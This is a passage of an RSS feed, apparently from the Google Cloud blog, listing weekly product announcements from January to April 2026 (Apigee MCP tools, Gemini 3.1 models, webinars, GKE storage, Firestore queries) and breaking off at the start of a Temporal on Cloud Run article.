&lt;li&gt;&lt;strong&gt;Apigee Model Context Protocol (MCP) now Generally Available&lt;br/&gt;&lt;/strong&gt;Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"&gt;&lt;em&gt;Explore the MCP overview&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Apr 6 - Apr 10&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Community TechTalk: Powering Retail Agents with ADK, UCP &amp;amp; Apigee X&lt;br/&gt;&lt;/strong&gt;Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/41ocUgq" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt;Register for the TechTalk&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Implement multimodal capabilities in your AI agents&lt;br/&gt;&lt;/strong&gt;Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see &lt;a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="vertical-align: baseline;"&gt;Classify multimodal data&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. To create a fluid conversational AI that processes audio and video streams in real time, see&lt;/span&gt; &lt;a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="vertical-align: baseline;"&gt;Enable live bidirectional multimodal streaming&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. To consolidate fragmented multimodal data into a searchable knowledge graph, see&lt;/span&gt; &lt;a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="vertical-align: baseline;"&gt;Multimodal GraphRAG resource orchestration&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Automate SecOps workflows with an agentic AI system&lt;br/&gt;&lt;/strong&gt;To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to &lt;a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="vertical-align: baseline;"&gt;orchestrate security operations workflows&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Mar 30 - Apr 3&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP&lt;br/&gt;&lt;/strong&gt;As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts &lt;strong&gt;Shilpi Puri &amp;amp; Wely Lau&lt;/strong&gt; for a &lt;strong&gt;webinar&lt;/strong&gt; on &lt;strong&gt;April 30th at 11:00 AM SGT&lt;/strong&gt; to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/47FX1Wn" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;strong&gt;RSVP here.&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Mar 23 - Mar 27&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Turn your API sprawl into an agent-ready catalog&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Read the full blog post to get started.&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Webinar | April 16: AI Command &amp;amp; Control&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;RSVP here.&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Modernizing and Decoupling Event Ingestion with Apigee&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Read the full guide.&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Mar 16 - Mar 20&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades&lt;br/&gt;&lt;/strong&gt;The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist"&gt;Explore&lt;/a&gt; the full range of what the assistant can do.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Mar 9 - Mar 13&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div&gt;&lt;strong&gt;Want to use Gemini to develop code and don't know where to start?&lt;/strong&gt;&lt;br/&gt;This &lt;a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank"&gt;article&lt;/a&gt; includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. &lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Mar 2 - Mar 6&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;strong&gt;Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.&lt;/strong&gt; Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via &lt;/span&gt;&lt;a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;amp;model=gemini-3.1-flash-lite-preview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Vertex AI&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;developers via the Gemini API in &lt;/span&gt;&lt;a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google AI Studio&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;
&lt;p&gt;&lt;strong&gt;TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee&lt;/strong&gt;&lt;br/&gt;Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank"&gt;Register for the TechTalk&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Feb 23 - Feb 27&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;strong&gt;Pro-level image generation gets faster and more accessible with Nano Banana 2&lt;br/&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model &lt;/span&gt;&lt;a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. &lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Learn more&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;Stop typing, start interacting! &lt;strong&gt;The Gemini Live Agent Challenge is here&lt;/strong&gt;. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at &lt;/span&gt;&lt;a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;geminiliveagentchallenge.devpost.com&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Feb 9 - Feb 13&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="vertical-align: baseline;"&gt;Introducing Gemini 3.1 Pro on Google Cloud. &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;span style="vertical-align: baseline;"&gt;3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;goal&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to help you transform your business for the agentic future. Learn more about the model’s capabilities &lt;/span&gt;&lt;a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Gemini 3.1 Pro is available starting today in preview in &lt;/span&gt;&lt;a href="https://cloud.google.com/vertex-ai?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Vertex AI&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;a href="https://cloud.google.com/gemini-enterprise?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini Enterprise&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Developers can access the model in preview via the Gemini API in &lt;/span&gt;&lt;a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google AI Studio&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://developer.android.com/studio" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Android Studio&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Antigravity&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;a href="https://geminicli.com/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini CLI&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automate Storage Compatibility with GKE Dynamic Default Storage Classes&lt;br/&gt;&lt;/strong&gt;Managing storage across mixed-generation VM clusters in GKE just got easier. With the new &lt;strong&gt;Dynamic Default Storage Class&lt;/strong&gt;, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;Explore automated disk type selection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Community TechTalk: AI-Powered Apigee Development with strofa.io&lt;br/&gt;&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;Join the Apigee community on February 26&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; for a deep dive into&lt;/span&gt; &lt;a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;strofa.io&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Register now to reserve your spot.&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Jan 26 - Jan 30&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;span style="vertical-align: baseline;"&gt;Simplify API Governance with Native OpenAPI v3 Support&lt;br/&gt;&lt;/span&gt;&lt;/strong&gt;Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/49Wx58Z" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;span style="vertical-align: baseline;"&gt;Accelerate API Testing with the New Open Source API Tester&lt;br/&gt;&lt;/span&gt;&lt;/strong&gt;Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like &lt;code style="vertical-align: baseline;"&gt;proxy.basepath&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; without leaving your terminal.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;a href="https://goo.gle/4q5WDGK" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Explore the API Tester guide and start testing your proxies today.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;span style="vertical-align: baseline;"&gt;Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid&lt;br/&gt;&lt;/span&gt;&lt;/strong&gt;Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via &lt;code style="vertical-align: baseline;"&gt;kubectl&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;a href="https://goo.gle/4qEVffo" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Implement Kubernetes Secrets in your hybrid proxies.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;span style="vertical-align: baseline;"&gt;See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud&lt;br/&gt;&lt;/span&gt;&lt;/strong&gt;Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&amp;gt; Appearance menu.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://docs.cloud.google.com/docs/get-started/console-appearance" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;span style="vertical-align: baseline;"&gt;Apigee X Networking: PSC or VPC Peering?&lt;br/&gt;&lt;/span&gt;&lt;/strong&gt;Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/4bWBGdV" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Watch the video.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Jan 19 - Jan 23&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Bridge the Gap: Excel-to-API Conversion in Apigee Portals&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Learn how to build it&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Elevate your applications with Firestore’s new advanced query engine&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Learn more about Firestore pipeline operations.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</description><pubDate>Fri, 16 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/</guid><category>Google Cloud</category><category>Inside Google Cloud</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/whats_new_2026_CfhxFWX.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>What’s new with Google Cloud</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/whats_new_2026_CfhxFWX.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Google Cloud Content &amp; Editorial </name><title></title><department></department><company></company></author></item><item><title>Temporal Serverless Workers on Cloud Run: Scale workers ahead of demand</title><link>https://cloud.google.com/blog/products/serverless/temporal-serverless-workers-on-cloud-run-worker-pools/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The open-source &lt;/span&gt;&lt;a href="https://temporal.io/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Temporal&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; execution platform is rapidly becoming a foundational layer of modern software infrastructure — especially for orchestration in distributed systems and AI agent workloads. However, deploying and scaling workers in Temporal comes with unique challenges. Workers poll for tasks instead of serving 